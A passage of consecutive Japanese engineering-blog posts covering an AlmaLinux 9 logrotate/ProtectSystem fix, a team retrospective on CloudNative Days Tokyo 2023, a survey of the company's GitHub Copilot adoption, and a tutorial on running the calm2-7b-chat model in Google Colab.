method=ignore ※ipv6は原則ignoreしてます。いつの日にか使います。 [proxy] ざっと上記ような内容です。 nmcliコマンドによる IPアドレス 変更はもちろんCentos7系以降は推奨なので使えます。 nmconnectionを修正したら↓ # nmcli c down eth0 # systemc restart NetworkManager # nmcli c up eth0 ※NetworkManagerサービスを再起動するだけでは反映されません。ethを一度ダウン、アップする必要があります。 意図したファイルのログローテーションがエラ―するよ。。。 今回Almalinux9系を触っていて、一番嵌ったのがこれかもしれません。 いわゆるrsyslog類【messages,maillog,secure,spoolerなど】のログローテーション状況を確認すると # ls -1 /var/log/messages* /var/log/messages /var/log/messages-20231226 /var/log/messages-20231227.gz /etc/logrotate.confと/etc/logrotate.d/rsyslogの設定通りにログファイルはローテーションされています。 しかし、/etc/logrotate.d/に個別で設定した、意図した ディレクト リ配下のファイルはなぜかローテーションされませんでした。 こういうときはおおよそ、以下が考えられると思います。 ローテーション対象のログファイルやその ディレクト リの権限がイケてない 対象のファイル 命名規則 の誤り ローテーションするファイルの指定ミス messagesログにもエラーメッセージが出力されていました。 error: failed to rename <対象のログファイル> to <対象のログファイル>: 読み込み専用ファイルシステムです。 エラー内容から権限がイケてなさそうだと判断して、対象のファイルや ディレクト リ、念のためローテーションのオプションを見直してみました。 翌日確認すると、同じエラー!!! ここから数日同じ確認と修正をしては同じエラーに悩まされました。 ちなみに手動実行でのテストでは問題なし。 原因を切り分けていくとlogrotate.serviceファイルがもしや何らかの問題を抱えているのでは?と考え至り、確認してみました。 すると /etc/systemd/system/logrotate.service 上記ファイルの設定の内 ProtectSystem=full という設定によってローテーションできないことが判明しました。 Almalinux9以前のOSでもこの設定はあるのですが、デフォルトでは ProtectSystem=no という設定になっており、ローテーションできていました。 設定を変更すると無事に問題が解決! 今回のケースでは2種類の解決方法がありました。 ProtectSystem=noに設定変更 ReadWritePaths=<ローテーションしたい ディレクト リを指定> セキュリティの観点では2を選択したほうがよさそうです。 最後に LINUX 系OSについて業界がざわざわする事態もありました。 その最中にAlmalinux9系を触ることになって、意味があるのかないのかひやひやしてましたが 落ち着いた?ようで今のところよかったです。 今回ご紹介したAlmalinux9系の情報が、だれかのお役に立てば幸いです。
SRE課の飯野です。 2023/12/11(月)〜12(火)の2日間、『 CloudNative Days Tokyo 2023 』(以下CNDT)が開催されました。 弊社からはわたしが所属するSRE課の他、インフラ開発部の大阪メンバー(出張での参加!)や楽楽精算の開発メンバーなども含め、15名ほどが現地参加しました。 本ブログでは、CNDT参加後に行った社内でのふりかえりの内容をお届けします。 『 SRE NEXT 2023 』参加時のブログもありますので、よろしければこちらもご覧ください。 tech-blog.rakus.co.jp 目次 CNDTとは? 当日の様子 ふりかえりやってみよう 総括 CNDTとは? 『 CloudNative Days 』というコミュニティが手掛けている 日本最大級の クラウド ネイティブ・テックカンファレンス です。 その名の通り「 クラウド ネイティブ技術」に焦点を当てており、 クラウド ネイティブな アーキテクチャ や開発手法、ツール、運用等に関するトピックが取り上げられ、最新の動向や実際の現場においてどのような取り組みを行っているかといった情報を得ることができます。 今年もオフライン会場は 有明 セントラルタワー ホール&カンファレンスにて行われ、オンライン配信もありのハイブリッド方式で開催されました。 今回のテーマは「+Native ともに飛び出せ!」とのこと。 "CloudNative Days"は、技術を学び、技術と人・人と人の繋がりを深めるテックカンファレンスです。 コロナ禍で生じたコミュニティの分断を乗り越え、一体感を再び取り戻し、仲間や友達と共に成長しましょう。 今回は分断されたコミュニティを再集結するための一歩として、東京で開催します! みなさんの所属組織の垣根を飛び越え、CloudNativeを元に交流する場に飛び込みませんか? "CloudNative"を学び、新たな世界に飛び出しませんか? さあ、ともに飛び出しましょう。 "CloudNative Days"で、新たな繋がりと成長をお楽しみください。 ( 公式サイト より) 申込者数はなんと2,000名を超えていたようです、界隈の盛り上がりを感じますね〜。 当日の様子 タイムテーブル 両日共に午前の部は各20分×6本の Keynote があり、午後は休憩を挟みつつ4トラック同時開催で各40分ずつのセッションが行われました(スポンサーセッション含む)。 その他、現地では技術コミュニティによるLT大会や、美味しいコーヒーを飲みながら交流ができる「ゆるカフェ」スペース、ついつい貯めがちなステッカーを集約できちゃう 御朱印 帳作りなど、様々な企画が行われていました。 スポンサーブースで開催されていたスタンプラリーもとても盛り上がっていました〜(おみやげたくさん!)。 また、1日目のセッション終了後には懇親会も行われました。 ふりかえりやってみよう さて、今回も現地参加の熱が冷めやらぬうちに、インフラ開発部(SRE/大阪)のメンバーで後日さっそくふりかえりを実施してみました。 実施するにあたって、事前に用意したフォーマットは下記です。 # 印象に残ったセッション ## タイトル ## 登壇者情報 ## スライド ## セッション概要 - セッションの内容を簡潔に ## 共有したい点、感想等 - どんな点に共感したか、疑問に思ったこと等 --- # 今後実施/挑戦したいこと - 参加してみてアクションを起こしたくなったものが何かあれば # 全体を通しての感想 - 率直な感想をご自由に それぞれが印象に残ったセッションを選択し、セッション概要と共有したい点/感想等を事前にまとめてもらいました。 以下、実際にまとめてもらったふりかえりの内容を一部ご紹介します。 大阪インフラ/U氏のまとめ noteの Kubernetes 移行、ゼンブ見せます セッション紹介ページ speakerdeck.com セッション概要 2023年9月に本番稼働の全てのアプリケーションを Kubernetes に移行したプロジェクトで行ったことについて 共有したい点、感想等 新規サービス立ち上げでなく、既存環境への移行の場合はサービスの継続性を重要視する為、綿密な計画とステップを踏みながら行っている 移行完了は年単位レベルになる為、自社で行う場合は複数サービスがある為、移行是非の検討は慎重に行いたい 今後実施/挑戦したいこと 開発への環境提供を高速に行うために、まずは自社内の Kubernetes ベストプ ラク ティス環境を策定し、その後にPrehubのようなものを作成し開発者体験向上に貢献していきたい 全体を通しての感想 コロナ明けによりオフライン開催が増え、久々の大型イベントの参加だった為、素直に楽しかった Kubernetes 歴はまだ1年未満だが社内でも詳しい人があまりおらず、自分の中の「?」の回答を得る為に情報収集するのがとても大変だったが、各社ブースや登壇者、 Kubernetes 界隈の方々と直接意見交換することで正解に近い答えが得られたりと有意義な時間が得られた 大阪インフラ/M氏のまとめ 100万コンテナの Kubernetes プラットフォームを5年間スケーラブルに運用するために乗り越えていること セッション紹介ページ speakerdeck.com セッション概要 1600 クラスタ 規模にスケールしたKaaSの高い安全性/信頼性・トイル削減について 効果のあったプ ラク ティス(アラート削減)について 共有したい点、感想等 運用されている クラスタ 数(1600)、コンテナ数(100万超)に圧倒された この規模の基盤を運用するには、トイルの徹底削減も必須になることが分かった 信頼性向上のためのSLIを用いた監視拡充を進めたことにより増加したアラートを削減するプロセスが参考になった アラートを洗い出し、以下4つに分類 Noisy Alerts: すぐ直る一時的なアラート、監視の問題 Easy-Easy Alerts: 原因究明、対応手順が簡単 Easy-Hard Alerts: 原因究明は簡単だが、手順が明確でない Hard-Hard Alerts: 原因究明が難しい、手順もない 今後実施/挑戦したいこと Kubernetes 未導入のサービスでも現状通ずること(トイル・アラート削減など)があったので、まずは改善できるところから実践していきたい 知識不足から難しいと感じる内容もあったので、引き続き情報をインプットしていきたい 全体を通しての感想 クラウド ネイティブな環境の運用のスタンダートが知れて良かった コンテナ/ クラウド 辺りの基礎知識のおさらい~他社の運用事例まで幅広い情報をキャッチアップできた 大阪インフラ/A氏のまとめ これからのPlatform Engineeringを支えるコンテナ×Backstageの真価 セッション紹介ページ speakerdeck.com セッション概要 クラウド ネイティブにおける開発で、認知負荷が高まっている Docker, Kubernetes , Git, Security, TestTools, CI/CDなどの多種多様なツール PlatformEngineeringの力で開発者の道筋を整備・誘導し、開発生産性を向上させる そのために『開発環境・ルール・ノウハウ』を一括で提供する 仕組みとしてGoldenPath:開発のベストプ ラク ティスを動作環境とサンプルアプリと一緒に開発者に提供 ツールとしてBackstage:開発者ポータル、ツール類のカタログのようなイメージ Backstageで開発&運用ノウハウの『集約・展開』を支援、GoldenPathで『習得・体系化』でブラシュアップしていく 共有したい点、感想等 開発者に限らず、インフラ側でもBackstageのようなポータルがあることで、例えばノウハウ共有や新規参入メンバの立ち上がりを高速化するなどの恩恵を受けられそう クラウド ネイティブな開発に限らず、GoldenPathやBackstageのエッセンスを取り入れられる部分がないか調査/改善していきたい 今後実施/挑戦したいこと オブザーバビリティ/Platform Engineering面白い、どんどん学習して改善に繋げていきたい クラウド ネイティブ技術をまずはハンズオンから実践してみる 全体を通しての感想 凄いところに来た感はありつつも、活発な技術カンファレンスで刺激を受けられたため、また参加したい SRE課/U氏のまとめ Kubernetes Persistent Volume 向けゾーン障害への備え セッション紹介ページ speakerdeck.com セッション概要 Kubernetes でPersistent Volumeを利用する上で、ゾーン障害とどのように向き合っていくか 前提知識となる Kubernetes の基礎知識もすこし 共有したい点、感想等 クラスタ ー構成別にどのような形でPVを扱うべきかが簡潔にわかる そもそもPVを必要とするアプリケーションが悪という認識が強まる 今後実施/挑戦したいこと ステートレスなアプリケーション開発を徹底しようと決意した 逆にPVが必要になる ユースケース についてもっと学ぶべきだと思った 全体を通しての感想 昨年参加した時よりも クラウド ネイティブ周りの知識が少しはついた実感があった(成長を感じた) 初心者〜上級者向けのセッションまで幅広くあり、初心者にもぜひ参加を薦めたい 一部登壇者の異次元感でモチベが上がった SRE課/S氏のまとめ クラスタ ーを分割するという運用の現実解 ~Pod を VM のように使い始めたら見えてきた世界~ セッション紹介ページ クラスターを分割するという運用の現実解 from CASAREAL, Inc. www.slideshare.net セッション概要 VM からコンテナ( Kubernetes )に移行して良かったこと 協力会社が VM を使用していたため、開発環境の構築時間を大幅に削減し、人的エラーを解消できた Dockerfileは開発チーム自身でGit管理し自由にカスタマイズが可能に Kubernetes で運用していく中で出てきた課題 しばらくコンテナで運用していると、開発環境の動作が全体的にもっさりしはじめた 1 クラスタ ーで全てを管理していたため、特定の高負荷podが クラスタ ー全体の安定性に影響を与えてしまう Kubernetes のバージョンアップが行いづらい 共有したい点、感想等 運用していく中で、構築時に予想していなかった課題は都度出てくるものだと思うので、載せてからがスタートだと身に染みた 今後の構築において学びが多かった クラウド ネイティブ初心者にぜひ聞いてほしいセッションだと思った 今後実施/挑戦したいこと CNDTで聞けた内容を実務で挑戦、取り入れていきたい アプリケーションを Kubernetes 上に載せてからの実運用 全体を通しての感想 去年参加した時は右も左もわからない状態であったが、今年は聞いたことがないワードが少なく楽しく拝聴できた 去年と比べて少しは成長した 去年より クラウド ネイティブが身近に感じるようになった SRE課/I氏のまとめ 決済システム内製化のその先に 〜 クラウド ネイティブな開発を"スケール"させるために必要だったこと セッション紹介ページ speakerdeck.com セッション概要 5年前に内製化された決済システムが、月日を経て規模が大きくなりどのようにスケールさせたか 一部リソースを クラウド からオンプレ、内製から外注に移行しており、それぞれを進める上で生じた課題解決の知見を紹介 共有したい点、感想等 クラウド ネイティブなシステムを内製から外注に移行するのは相当ハードルが高いことだと思ったが、とても丁寧にイネイブリングしていたのが印象的だった 新しい取り組みを始めるにあたって、まずは動く実物なりサンプルを用意してから ガイドライン に落とし込みレクチャーするという流れは対象が何だとしても重要 プラットフォームが用意されていることで「開発者が安心して開発に注力できる」という点は、気持ちの面で学びになった 今後実施/挑戦したいこと 立場的に、 クラウド ネイティブな環境をどう用意しどのように展開していくかを考えることが多いので、レクチャーマインドを参考にしていきたい 泥臭い活動ですけど価値はありありですよねと常に思う 会社としてこの分野に一丸となって取り組めるように文化醸成頑張る、と共に説得力をつけるためにインプット邁進 全体を通しての感想 CNDTは初参加だったが、普段課内で触れているキーワードが多かったので クラウド ネイティブにしっかり取り組めているなと自信がついた SRE課以外の他チームも現地参加していて、単純に嬉しかった!仲間が増えてる! SRE課/I氏のまとめ GitOpsで実装する Kubernetes セキュリティ -攻撃者が考えるアタックシナリオと OSS を活用した守り方- セッション紹介ページ speakerdeck.com セッション概要 パブリックな リポジトリ にアップされた非公式のコンテナイメージを利用することによる攻撃シナリオの例を解説 攻撃用コンテナイメージへの対策として、OPA( GateKeeper )を利用したAdmission Controllerによるイメージ取得元のバリデーションチェック導入のハンズオンを実施 共有したい点、感想等 イメージ上のOSやライブラリの静的スキャンはtrivyでも実施できるが、今回の攻撃例はコンテナ起動時に バックドア を作ってコンテナ内部に侵入するというものだったのでtrivyでは防げない コンテナ起動後の不審な挙動の検知まで行けなくても、コンテナイメージ取得元のチェックだけで相当多くの攻撃が防げる、かつそこまで導入の難易度は高くなさそうなので、是非導入すべきだと思う チェックロジックはRegoで書かれていたが、簡単なものであればサンプルも多いので導入は難しくなさそうに感じた( GitHubリポジトリ ) 今後実施/挑戦したいこと コンテナイメージ取得元のチェックを実行( GateKeeper 使うのかはさておき) Kubernetes 特有のセキュリティの学習 全体を通しての感想 東京のインフラ開発部内で「 基礎から学ぶコンテナセキュリティ 」の輪読会をやっているが、あくまでコンテナ(docker)に閉じているので、 Kubernetes に適用した際にどのような技術や対策があるのかの知見をインフラ開発部内で高めるべきだと感じた SRE課/I氏のまとめ (※なぜかSRE課はIがつく人が多い) 計測の手間を省きたい!OpenTelemetry に見る”自動計装”のイマ セッション紹介ページ speakerdeck.com セッション概要 オブザーバビリティ、計装、OpenTelemetry(以下OTel)について OTel計装の基礎 OTelの"自動"計装 OTel計装(自動/手動)のデモ 補足情報( Kubernetes Operatorでの自動計装、Goへの自動計装 by eBPF) 共有したい点、感想等 自動計装を使うと、自社へのTraceの導入がスムーズに進むかもしれない アプリケーションの改修が不要というところがポイント ラク スはインフラとアプリケーション開発で組織が分かれているため、インフラ発案でTrace導入を進めるとなると、アプリケーション開発への協力依頼が必要になる 手動計装の場合、机上での説得が必要 自動計装の場合、とりあえず実装してデモを見てもらえるし、TraceのON/OFFも容易であるため本番での導入障壁も低い 逆井さんの「オブザーバビリティは横断的関心事。組織間には必ずオブザーバビリティ"格差"が存在する」という言葉が染みた 今後実施/挑戦したいこと Kubernetes 上のサービスに対し、分散トレーシングを導入する Java 系サービスのアプリケーションに自動計装を注入してデモ→導入 OTelCollectorを導入 Kubernetes 上のMWもTrace/Spanを出すようにインスツルメンテーションする バックエンドはGrafana Tempoで実装 問題なければ本格導入へ 全体を通しての感想 自社にオブザーバビリティを導入するステップが少しイメージできた、面白かった! SRE課/M氏のまとめ〜その1〜 Wasm is becoming the runtime for LLMs セッション紹介ページ ※スライドなし/リンク先に動画あり セッション概要 Wasmを利用して超軽量かつ、高性能なLLMアプリを実現 共有したい点、感想等 Wasm(WASIのがいいのかな)って何が良いの? どうすごいの? という感覚の方に見てもらいたい 私もそうですが、何がすごいのか良く分かっていなかった人にその効果を見て驚いて欲しい Wasmの単語は知っていましたが、実用的な事例で改めて素晴らしさを感じた 個人的にはコンテナランタイムのゲームチェンジャーになる可能性を感じたのでものすごくワクワクするセッションだった 今後実施/挑戦したいこと Wasm周りについて情報が追えておらず、ヤバさを感じてWasmEdgeをインストールして簡単なデモを動かしてみた 今後もドンドン革新的な変化を遂げそうなのでWasmの動向はチェックしていきたい 全体を通しての感想 Wasmという単語しか分かっていなかった自分にその必要性や効果をしっかりと示してくれるセッションだった SRE課/M氏のまとめ〜その2〜 マイクロサービスの信頼性を支えるオブザーバビリティとサービスメッシュ セッション紹介ページ ※スライドなし/リンク先に動画あり セッション概要 マイクロサービスにおいてサービスメッシュを利用することで信頼性を向上させる方法について解説 SLIやSLOといった信頼性に必要な概念から、実際にサービスメッシュを利用してどういったことが出来るのかの紹介 共有したい点、感想等 信頼性やオブザーバビリティといった概念を把握出来る サービスメッシュとは何なのかその概念を把握出来る サービスメッシュを利用した自動計装についてその概要を理解出来る 今後実施/挑戦したいこと サービスメッシュの利用を検討していたところだが、信頼性の点で有効活用することは考えていなかった 本セッションで紹介された機能を利用することで、アプリケーションエンジニアの負担を軽減しながら信頼性の向上を目指すヒントを得られたと思う、今後は実際の導入に向けて検討を進めたい 全体を通しての感想 サービスメッシュのことは知っていたが、詳しい機能については知識が不足していた このセッションを通して有効な利用方法の一端を把握することが出来た 総括 以上、『CNDT』に参加したメンバーのふりかえりの内容をご紹介しました。 単純にインプットが増えただけでなく、参加者同士での情報共有や議論の場が持てたことで、理解をより深めることができたのではないかと思います。 こういった大型イベントは自社や個人の取り組みをふりかえる良い機会にもなりますし、何より参加者が刺激を受けてモチベーションが上がるのが嬉しいですね。 スタッフの皆さま、登壇者の皆さま、企画運営本当にお疲れ様でした。そしてありがとうございました! 次回の開催は北海道か沖縄という噂? SREの課長は必ず現地参加するのでw、現地レポートに期待しましょう!
はじめに こんにちは、技術広報の nobu_ms です。 ラク スでは2023年6月から GitHub Copilotを全開発組織に導入し、希望者は申請により全員利用可能となっています。 GitHub Copilot導入から5カ月が経過し、利用状況や導入効果のアンケート調査を行いました。 本記事では、調査結果を踏まえて下記の内容をご紹介します。 全社導入前の課題とその対応 導入後の利用状況・効果測定 今後の活用に向けた課題と取り組み より詳細な目次はこちらをご覧ください。 はじめに GitHub Copilot導入の目的 全社導入前の課題とその対応 ① セキュリティの担保 当社の情報資産が学習に利用される可能性 他社のコードがサジェストされて著作権を侵害するのではないか? ② 費用対効果 導入後の利用状況・効果測定 コーディング時間短縮の効果 業務品質向上効果 学習・調査効率化効果 エンジニアの業務体験はどうなったか 実務上の利用例 コーディング時間短縮 業務品質向上 学習・調査効率化 エンジニアの声 時間短縮効果の概算 GitHub Copilotは有効。「今後も使いたい」100% 一層の活用に向けた課題と取り組み GitHub Copilot導入の目的 ラク スでは業務生産性向上を目的に GitHub Copilotを導入しました。 具体的な期待効果としては、 コーディング時間短縮(効率化) 業務品質向上(コード品質、チャット等を援用したプログラムア イデア の創出) 学習・調査時間短縮 が挙げられます。 全社導入前の課題とその対応 すでに生成AI系サービスは社内でも大きな話題となっていましたが、実業務への効果的かつ安全な導入にあたっては二つの検討課題がありました。 ① セキュリティの担保と ② 費用対効果 です。 ① セキュリティの担保 具体的なセキュリティの課題については、下記の二つがありました。 当社の情報資産が学習に利用される可能性 生成AI系サービスによっては、情報資産が 機械学習 に利用される可能性があります。 GitHub Copilotに関連する情報資産には ソースコード 、クレデンシャル、顧客情報が考えられます。for Businessプランの プライバシーポリシー (2023/12/26参照)を確認すると、これらは学習に一切使用されないため、懸念はないことが分かりました。 他社のコードがサジェストされて 著作権 を侵害するのではないか? こちらも、Organization単位で 「Suggestion Matching Public Code」 (2023/12/26参照)をBlockedにすることで防止できます。 GitHub 上の公開情報とサジェストコードが一致した場合に、サジェストを行わない設定が可能となります。 主に上記のような観点をクリアし、安全性は担保できると判断しました。 全社展開にあたっては運用ルールの策定が必要でした。 GitHub CopilotやChatGPTなどの生成AIサービスに関しては、情報セキュリティ担当部署と、セキュリティについて横断的なルール作りを行う開発管理課という組織があり、これらの組織とルール作りを行い安全性を確認の上、導入を進めました。 ② 費用対効果 ラク スでは業務生産性に役立ち、快適にコードを書ける環境を整備してきました。これまでも効果検証の結果として費用対効果が得られると判断した開発ツールへは投資しており、今回も全社導入の前に事前の効果検証を行うことになりました。 テッ クリード の所属する4名の開発チームで、ある機能開発を パイロ ットプロジェクトとして、1週間程度の効果計測を行いました。具体的にはコードサジェストにより削減された作業を、リアルタイム集計する形で実施しました。 結果、 同じ開発業務を行うのに12%時間削減、一人当たり約10時間/月の時間短縮になると試算 されました。 これらのテッ クリード の調査結果を経営陣に報告し、セキュリティに関する運用ルールを早期に策定できたこと、費用対効果が期待されたことから GitHub Copilotの全社導入が6月から正式に始まりました。 導入後の利用状況・効果測定 全社で運用開始してから約5か月が経過し、ある程度使用実績が蓄積されてきたところで、社内のエンジニア63名に利用状況や、期待される効果が得られたかを調査しました。 (ただし7名はPdM等でコーディング業務を担当しておらず、 GitHub Coplot使用は56名) 前提となる職種や利用エディタは下記の通りです。 当社バックエンドは Java と PHP を用いて開発しているため、 VSCode と並んで IntelliJ IDEA、PhpStormも多くなっています。 コーディング時間短縮の効果 まず時間換算すると、 71.4%のエンジニアが0.5時間以上/日の時間節約 になったと回答しています。 なお時間削減効果が0.5時間未満/日のエンジニアは、業務に占めるコーディング比率が低い傾向があり恩恵の絶対量が小さかったようです。 92.9%のエンジニアが GitHub Copilotによって生産的になった と回答しています。同じ業務をこなすのに1.3倍以上生産的になったという回答も41.4%と、目立った体感が得られたようです。 業務品質向上効果 品質の高いコードが書けるようになったと回答したエンジニアは59.0% でした。 後述のように、生成されたコードに対する最終的な判断はエンジニアが行う場面も多いため、まだAIにより品質が高くなったとは言い切れないかもしれません。 サジェストによる繰り返し作業の効率化により業務品質向上が期待できますが、こちらの恩恵を感じたエンジニアは多く、 83.9%が迅速にこなすことができるようになった と回答しています。 学習・調査効率化効果 66.1%のエンジニアが GitHub Copilotにより検索時間を短縮できた と回答しました。 開発時間短縮効果と比較するととびぬけて高い数値ではありませんが、学習・調査の効率化は後述の定性効果で多くのコメントが寄せられた項目でもあります。 今後の活用シーンの拡大が期待されます。 エンジニアの業務体験はどうなったか 51.8%のエンジニアが仕事に充実感を感じられるようになった と回答しています。 興味深いことに、「充実感を感じられるようになった」の回答と節約時間の間には強い相関はありませんでした。 結果的に節約できた時間は少なくても、「ボリュームのあるコードレビューが楽になる」「記述量の多いテストコード作成が楽になる」などのコメントもありました。 担当業務の質的な改善が充実感に影響している可能性はあります。 続いて、 GitHub Copilot 利用によりフロー状態(作業に没頭し集中できる状態)に入りやすくなったと回答したのは39.3%でした。 全体の比率でみると高いとは言えませんが、 コーディングが業務の60%以上を占める回答者については、76.9%がフロー状態に入りやすくなったと回答 しています。 コーディング業務比率が高いエンジニアが多いほど、組織全体の体験改善の インパク トは大きくなると推察されます。 実務上の利用例 開発の現場ではより具体的な効果が実感されていました。社内で GitHub Copilotのメリットを感じられた具体的な例を紹介します。 もともとの導入の期待効果であった ① コーディング時間短縮(効率化)、② 業務品質向上(コード品質、チャット等を援用したプログラムア イデア の創出)、③ 学習・調査時間短縮に則してみると、 コーディング時間短縮 定型作業コードの自動補完 上流工程での画面サンプルの爆速作成 手順書、ドキュメント( markdown )、コミットコメントの生成 設定ファイルの作成補完(yml、Dockerfileなど) 業務品質向上 コピペミス、 タイプミス の減少 コード規約に沿ったコード生成 コードレビュー(人間によるレビュー前のチェックとしてfind probremを走らせる) テストケース作成 学習・調査効率化 コードリーディングをしながら アーキテクチャ の説明をさせる 新規関数生成時、前後の文脈を理解した処理内容のサジェスト レガシーなコード体系下における、モダン記法での自動生成 技術用語、言語使用の調査・検索( Google での検索ワードを考えなくてよい) エンジニアの声 実際に使ってみたエンジニアからも、期待の大きさが伝わってきました。 「個人的な開発に使用するほど気に入っています。サジェストは怖いぐらい正確」 「まだまだ伸びしろを感じるツール。まだ GitHub Copilotの機能追加はあると思うが、現状見えている氷山の一角でもかなりでかい」 「定型で単純な繰り返しコードの記述がすごく楽になった」 「コードを書いた後にサジェストするとダブルチェックになるだけでなく、勉強にもなる」 「タイミングで正しい文章が自動生成されたときはびっくりしました。コードの文脈を把握できていないと答えられないような内容だったので、自分の理解を確かめる目的でも利用できるかと思います」 時間短縮効果の概算 前述の時間短縮効果を概算してみます。 まず短縮された時間について、各回答の平均値(0~0.5の場合は0.25、0.5~1の場合は0.75)を使ってみます。56件の回答があるので回答割合で人数を導きます。これらを掛け合わせた合計値を出します。 0.25h×16人+0.75h×20人+1.5h×17人+2.5h×1人+4..5h×2名=56h 56h/56人とすると、 「一人当たり1h/日の短縮効果」 があったと計算できます。 当初の事前検証の結果と大きくは変わらない効果が得られたことになります。 GitHub Copilotは有効。「今後も使いたい」100% ここまで時間短縮効果、業務品質向上効果、学習・調査効率化効果、エンジニアの業務体験という観点で定性・ 定量 効果を見てきましたが、開発組織としても多くのメリットを実感しています。 今回調査に回答したエンジニア全員が今後も GitHub Copilotを使いたいと回答しており、今後の活用の拡大が期待されます。 一層の活用に向けた課題と取り組み ここまではメリットばかりを書いてきましたが、思った通りに使いこなすにはまだ課題もあるようです。ここではその一部をご紹介します。 既存コードの文脈の影響を受け、最適なコードの質量でないこともあるので精査が必要 精度が高いがゆえに、自動出力されたギリギリ要件を満たさないコードを見抜くのが難しい。テストケースで網羅するか、経験が必要。 なぜその実装をするのか、AIであるがゆえに曖昧なままで仕事ができてしまうため、育成の機会が減る。 IDE のサジェストとの相性が悪い (これらの所感は2023年11月時点の機能をベースにしています。今後の利活用を検討される方は、最新の機能アップデートで解決されている可能性もあるので是非確認してください。) 定型業務に対しては強みを発揮する GitHub Copilotですが、運用歴が長いプロダクトでレガシーなコード体系があるケース、前後の文脈があるケースや、複雑な要件を持つケースには注意が必要そうです。 GitHub Copilotで削減された時間は、実装の目的・あるべき姿や要件を理解する、ある意味人間らしい業務にシフトすべきということなのかもしれません。 今回の調査で、すでに実装に関わるエンジニアの活用率は100%でした。今後の活用のためには、上記のような課題をカバーするナレッジを共有し、新しいア イデア を社内でどんどん出していくことが大事だと思います。そのための場作りもテッ クリード を中心に始まっています。 ラク スでは複数の開発チームがあり、運用歴の異なるプロダクトがベスト・オブ・ブリード(ここでは各製品ごとに最適な設計や技術スタックを選定する開発戦略の意味)で開発されています。それぞれのチームで有効活用が図られ、 GitHub Copilotに関する活用ナレッジを共有するためのチャットが立ち上がっており、議論や共有化がなされています。他にも生成AIを活用しているエンジニアたちがホットなニュースを語り合う社内ラジオも開催され、さらなる活用の機運も来年はさらに高まってくるのではないかと思います。 業務生産性向上のため、ア イデア を出し合いながら積極的に新しいツールを活用していきたいですね。この記事をお読みいただいた方のご参考になりましたら幸いです。
はじめに こんにちは! 今年も国内外様々な LLM(大規模 言語モデル )が公開されましたね! LLM の選定や調査・実験をする際、リソースの要求レベルが非常に高く、ローカル環境での実施はかなりハードルが高いですよね... そこで今回は、 Google Colab(正式には Colaboratory)を利用して LLMを動かす方法を紹介します。 サクッと LLM を動かしたい時におすすめです! はじめに Google Colab 基本的な使い方 エラーがでたときは? セッションが多すぎるとき なぜかうまく動かない時 有料プランについて ほかにも使ってみる Google Colab Google Colab は、 Google が提供している提供しているサービスで、ブラウザで Python を実行できるツールです。 機械学習 の用途で利用されることが多く、操作も簡単です。 基本的な使い方 今回は、 calm2-7b-chat を Google Colab 上で動かしてみましょう! このモデルは、株式会社 サイバーエージェント 様が公開されているモデルです。 ライセンス区分は商用可能な Apache License 2.0 です。 www.cyberagent.co.jp 前提: Google アカウントがあること Google Colab にアクセス Welcome To Colaboratory にアクセスすると、 Google Colab の画面が表示されます。 新規ノートブックを作成 左上のタブ 「ファイル > ノートブックを新規作成」 をクリックします。 新しいノートブックの画面が開かれますので、適当に名前をつけます。 私は calm2-7b-chat.ipynb としました。 ノートブックを新規作成 ノートブックの設定変更 続いて LLM を動かすためのリソース設定をします。 デフォルトではリソースに CPU を利用することになっていますが、このままではリソース不足のため実行途中で処理が打ち切られてしまいます。 左上のタブ 編集 > ノートブックの設定 をクリックすると、ダイアログが表示されます。 ダイアログの項目「ハードウェア アクセラ レータ」の ラジオボタン 「T4 GPU 」を選択します。 ダイアログ下部の 保存 ボタンをクリックして設定を保存します。 ノートブックの設定 ハードウェア アクセラ レータ これで準備は完了です! では実際にコードを書いて動かしましょう! コードを書いて実行 LLM を動かすために必要な Python ライブラリを事前にインストールしておきましょう。 公式に記載のライブラリは こちら に記載がありました。 ※ LLM によって利用するライブラリやバージョンが異なることがあります。 まず、一行目に pip install transformers accelerate bitsandbytes と入力します。 そして入力フィールド左部の実行ボタン(▷)をクリックします。 ライブラリのインストール すると、インストールが進みしばらくすると完了します。 続いて、LLM を実際に動かすためのコードを書きます。 先ほどインストールが完了した次の行に、以下の実行コードをペーストします。 そして入力フィールド左部の実行ボタン(▷)をクリックします。 import transformers from transformers import AutoModelForCausalLM, AutoTokenizer, TextStreamer assert transformers.__version__ >= "4.34.1" model = AutoModelForCausalLM.from_pretrained("cyberagent/calm2-7b-chat", device_map="auto", torch_dtype="auto") tokenizer = AutoTokenizer.from_pretrained("cyberagent/calm2-7b-chat") streamer = TextStreamer(tokenizer, skip_prompt=True, skip_special_tokens=True) prompt = """USER: AIによって私達の暮らしはどのように変わりますか? ASSISTANT: """ token_ids = tokenizer.encode(prompt, return_tensors="pt") output_ids = model.generate( input_ids=token_ids.to(model.device), max_new_tokens=300, do_sample=True, temperature=0.8, streamer=streamer, ) prompt = に続く箇所がプロンプトですね。 また、 output_ids でパラメータの調整ができます。 たとえば、 temperature パラメータを変動させることで、回答にランダム性を持たせることができます! ひとまず、サンプルプログラムを実行してみましょう! 途中経過 このプログラムでは、 AIによって私達の暮らしはどのように変わりますか? という質問を投げかけています。 モデルのダウンロードとプログラムの実行が完了するまでしばらく待ちましょう... しばらくすると、結果が返ってきました! サンプルプログラムの解析結果 ほかにも質問してみました! 質問:日本で2番目に標高が高い山はどこですか? 回答:日本で2番目に標高が高い山は、 南アルプス の 北岳 ( 山梨県 と 静岡県 にまたがる)で、標高は3,193メートルです。 今までのLLMはこの手の質問が苦手だったのですが、calm2-7bは正確ですね! 追加の質問 エラーがでたときは? セッションが多すぎるとき 複数のタブで異なるノートブックを操作すると、どれか一つだけに絞るように促されます。 セッションが多すぎます この場合は、ダイアログ右端のゴミ箱アイコンクリックで不要なセッションを閉じましょう。 セッションを閉じる なぜかうまく動かない時 必要な設定も行なっているし、必要なライブラリもインストールしているにも関わらずエラーが出る時があります。 その場合は、「ランタイム > セッションを再開しすべて実行する」をクリックしてみてください。 実行エラー セッション再開 有料プランについて 先ほどのコード実行後のリソース状況を見てみましょう。 プロジェクト右上の項目「T4 RAM ディスク」をクリックします。 プロジェクト下部に自身が利用したリソースが表示されます。 T4 RAMディスク 無料枠のリソース消費 GPU RAM がかなり逼迫していることが分かります。 無料枠だとリソースにかなりの制限があり、LLM を 1 度動かすのが限界です。 リソースのリセットタイミングも不明なので、ちょっと色々試したい場合は不便ですね... ほかにも 12 時間経過すると実行環境が初期化されるなど、多くの制約があります。 有料プランに移行することでこうした問題を解決できます。 Google Colab のプラン選択画面 にアクセスします。 いくつかプランがありますが、ちょっと試したいなという時は Pay As You Go プランがオススメです。 